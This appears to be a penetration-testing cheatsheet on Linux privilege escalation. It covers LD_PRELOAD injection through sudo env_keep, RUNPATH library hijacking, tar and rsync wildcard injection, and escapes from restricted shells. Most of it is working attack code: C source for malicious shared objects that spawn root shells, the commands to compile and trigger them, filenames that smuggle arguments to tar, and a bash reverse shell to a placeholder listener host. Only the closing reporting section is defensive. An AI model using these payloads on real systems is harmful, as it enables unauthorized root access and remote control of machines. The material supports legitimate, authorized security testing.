🛡️ Methodology Checklist
- Check
env_keepin sudoers:sudo -l | grep env_keep - If
LD_PRELOADkept: compile malicious .so with_init()→ inject via sudo - Check RUNPATH on SUID binaries:
readelf -d [binary] | grep RUNPATH - Writable RUNPATH dir? → plant malicious .so with same name
- Find wildcard usage in root cron/scripts:
grep -r '\*' /etc/cron* - Tar wildcard in cron: plant
--checkpoint-action=exec=shfile - Restricted shell? Try:
vi,SSH -t "bash --noprofile", reset PATH
🎯 Operational Context
Use when: Application runs as root and loads shared libraries from user-writable directories, or cron/sudo uses wildcards with tar/rsync — inject shared library or craft malicious filenames.
Think Dumber First: ldd [BINARY] to see what libraries a binary loads. If any library path is user-writable, create a malicious .so file at that path. Wildcard injection: if cron runs tar czf /backup/*.tar.gz /data/, create file --checkpoint-action=exec=sh -i in /data/ as a filename.
Skip when: Library paths are all system paths owned by root — wildcard injection only works if user can create files in the directory being globbed.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
sudo -l | Check for env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH |
ldd /usr/bin/[BINARY] | List shared libraries used by binary |
readelf -d /usr/bin/[BINARY] | grep RUNPATH | Check for custom RUNPATH in binary |
gcc -fPIC -shared -nostartfiles -o /tmp/root.so root.c | Compile LD_PRELOAD malicious shared object |
sudo LD_PRELOAD=/tmp/root.so [SUDO_BINARY] | Trigger LD_PRELOAD injection via sudo with env_keep |
ls -la /path/to/library/dir | Check if RUNPATH directory is writable — place hijack .so there |
echo "" > /var/backups/--checkpoint=1 | Create tar checkpoint flag file for wildcard abuse |
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh" | Create tar action flag file |
echo 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1' > /var/backups/shell.sh | Create payload for tar wildcard injection |
compgen -c | List all available commands in restricted shell |
echo $SHELL; echo $PATH | Identify restricted shell type and PATH |
ssh [USER]@[TARGET_IP] "bash --noprofile" | Bypass rbash if SSH key available |
ssh [USER]@[TARGET_IP] -t "bash --noprofile" | Interactive bash without profile restrictions |
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin | Reset PATH in restricted shell |
🔬 Deep Dive & Workflow
LD_PRELOAD Injection (Sudo env_keep)
# Prerequisite: sudo -l shows:
# Defaults env_keep+=LD_PRELOAD
# (root) NOPASSWD: /usr/bin/apache2
# Create malicious shared object
cat > /tmp/root.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/root.so /tmp/root.c
# Trigger via sudo
sudo LD_PRELOAD=/tmp/root.so apache2
# → _init() fires before apache2 main() → root shellWhy it works: LD_PRELOAD injects a shared library before the binary runs. Normally stripped from SUID/sudo contexts, but env_keep in sudoers preserves it.
Shared Library RUNPATH Hijacking
# Check if binary has writable RUNPATH
readelf -d /usr/bin/menu | grep RUNPATH
# → RUNPATH: /development
ls -la /development
# → drwxrwxr-x → writable!
# Check what library is missing or loaded
ldd /usr/bin/menu
# → libutils.so.1 => /development/libutils.so.1
# Create hijack library
cat > /tmp/hijack.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /development/libutils.so.1 /tmp/hijack.c
/usr/bin/menu # → loads our library → root shellTar Wildcard Injection
# Vulnerable cron: cd /var/backups && tar -czf backup.tar.gz *
# The * expands to ALL filenames, including those starting with --
# Step 1: Create payload script
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" > /var/backups/shell.sh
chmod +x /var/backups/shell.sh
# Step 2: Create "flag" filenames tar interprets as arguments
echo "" > /var/backups/--checkpoint=1
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh"
# When cron runs: tar expands * → sees flags → executes shell.sh as root
# Start listener: nc -lnvp [LPORT]Key: --checkpoint=1 prints a progress message every 1 record. --checkpoint-action=exec= runs a command at each checkpoint. Filenames become tar arguments via shell glob expansion.
Escaping Restricted Shells (rbash)
# Identify restriction
echo $SHELL # → /bin/rbash
echo $PATH # → /home/user/bin (very limited)
compgen -c # list available commands
# Method 1: Via available editors
vi → :set shell=/bin/bash → :shell
vim → :!/bin/bash
man [anything] → !/bin/bash
# Method 2: SSH trick (requires SSH key)
ssh [USER]@[TARGET_IP] -t "bash --noprofile"
ssh [USER]@[TARGET_IP] "bash --noprofile" # non-interactive
# Method 3: Language interpreters if available
python3 -c 'import os; os.system("/bin/bash")'
perl -e 'exec "/bin/bash"'
awk 'BEGIN {system("/bin/bash")}'
# Method 4: PATH reset after escaping
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
# Method 5: Scripting if cp/mv available
cp /bin/bash /home/user/bin/sh
sh # → if sh maps to bash, no profile restrictionsWildcard Abuse — Other Commands
# rsync --rsh
echo > "--rsh=sh shell.sh"
# chown wildcard (if run as root on *.txt)
touch -- '--reference=root_owned_file'
# → chown copies ownership from reference file🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Shared library hijack not executing | LD_LIBRARY_PATH not set or wrong path | Check: strings [BINARY] | grep rpath for hardcoded rpath; place .so there |
| Wildcard tar injection fails | Wildcard expansion not happening | Confirm wildcard: crontab -l | grep '*'; filenames must be in the exact directory being tarred |
| Library .so not loading | Wrong architecture or exports | Compile with: gcc -shared -fPIC -o lib.so lib.c -nostartfiles; must match target architecture |
| Checkpoint action injection in rsync | Different wildcard syntax | rsync: create file named -e sh shell.sh in source dir; then rsync -av source/ dest/ triggers it |
| Library load fails silently | Missing constructor attribute | Add: __attribute__((constructor)) void init() { system('/bin/bash -p'); } to C source |
📝 Reporting Trigger
Finding Title: Shared Library Hijacking Enables Root Code Execution Impact: Attacker-controlled shared library loaded by a root-owned binary allows arbitrary code execution as root, achieved by placing a malicious .so file in a library search path writable by the compromised user. Root Cause: Application loads shared libraries from directories writable by non-privileged users. No AppArmor/SELinux profile restricting library load paths. Recommendation: Ensure all library directories used by privileged binaries are root-owned and not world-writable. Implement AppArmor/SELinux profiles for privileged binaries. Use rpath for trusted library paths. Monitor shared library loading with auditd.